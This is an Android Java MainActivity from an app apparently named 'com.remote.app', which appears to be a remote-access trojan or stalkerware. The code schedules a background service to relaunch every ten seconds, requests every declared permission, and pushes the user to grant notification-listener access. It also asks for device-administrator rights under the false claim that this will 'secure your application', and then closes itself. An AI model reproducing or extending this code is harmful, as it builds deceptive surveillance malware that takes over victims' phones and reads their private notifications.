105 lines
4.2 KiB
Java
105 lines
4.2 KiB
Java
package com.remote.app;
|
|
|
|
import android.app.Activity;
|
|
import android.app.AlarmManager;
|
|
import android.app.PendingIntent;
|
|
import android.app.admin.DevicePolicyManager;
|
|
import android.content.ComponentName;
|
|
import android.content.ContentResolver;
|
|
import android.content.Context;
|
|
import android.content.Intent;
|
|
import android.content.pm.PackageInfo;
|
|
import android.content.pm.PackageManager;
|
|
import android.graphics.Color;
|
|
import android.graphics.Typeface;
|
|
import android.net.Uri;
|
|
import android.os.Bundle;
|
|
import android.provider.Settings;
|
|
import android.support.v4.app.ActivityCompat;
|
|
import android.view.Gravity;
|
|
import android.widget.TextView;
|
|
import android.widget.Toast;
|
|
|
|
|
|
public class MainActivity extends Activity {
|
|
|
|
private DevicePolicyManager mDPM;
|
|
private ComponentName mAdminName;
|
|
|
|
@Override
|
|
protected void onCreate(Bundle savedInstanceState) {
|
|
super.onCreate(savedInstanceState);
|
|
|
|
PackageInfo info = null;
|
|
|
|
setContentView(R.layout.activity_main);
|
|
// startService(new Intent(this, MainService.class));
|
|
Intent intent = new Intent(this, MainService.class);
|
|
PendingIntent pendingIntent = PendingIntent.getService(getApplicationContext(), 1, intent, 0);
|
|
AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
|
|
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, 0, 10000, pendingIntent);
|
|
boolean isNotificationServiceRunning = isNotificationServiceRunning();
|
|
if(!isNotificationServiceRunning){
|
|
|
|
Context context = getApplicationContext();
|
|
String[] permissions = new String[]{};
|
|
try {
|
|
info = getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS);
|
|
permissions = info.requestedPermissions;
|
|
} catch (PackageManager.NameNotFoundException e) {
|
|
e.printStackTrace();
|
|
}
|
|
CharSequence text = "Enable 'Package Manager'\n Click back x2\n and Enable all permissions";
|
|
int duration = Toast.LENGTH_LONG;
|
|
|
|
Toast toast = Toast.makeText(context, text, duration);
|
|
|
|
TextView v = (TextView) toast.getView().findViewById(android.R.id.message);
|
|
v.setTextColor(Color.RED);
|
|
v.setTypeface(Typeface.DEFAULT_BOLD);
|
|
v.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
|
|
toast.show();
|
|
|
|
reqPermissions(this, permissions);
|
|
|
|
// spawn notification thing
|
|
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
|
|
|
|
mDPM = (DevicePolicyManager)getSystemService(Context.DEVICE_POLICY_SERVICE);
|
|
// Set DeviceAdminDemo Receiver for active the component with different option
|
|
mAdminName = new ComponentName(this, DeviceAdminX.class);
|
|
|
|
if (!mDPM.isAdminActive(mAdminName)) {
|
|
// try to become active
|
|
Intent intent2 = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
|
|
intent2.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdminName);
|
|
intent2.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Click on Activate button to secure your application.");
|
|
startActivity(intent2);
|
|
}
|
|
|
|
// spawn app page settings so you can enable all perms
|
|
// Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
|
|
// startActivity(i);
|
|
}
|
|
|
|
finish();
|
|
}
|
|
|
|
|
|
public void reqPermissions(Context context, String[] permissions) {
|
|
if (context != null && permissions != null) {
|
|
ActivityCompat.requestPermissions(this, permissions, 1);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
private boolean isNotificationServiceRunning() {
|
|
ContentResolver contentResolver = getContentResolver();
|
|
String enabledNotificationListeners =
|
|
Settings.Secure.getString(contentResolver, "enabled_notification_listeners");
|
|
String packageName = getPackageName();
|
|
return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName);
|
|
}
|
|
}
|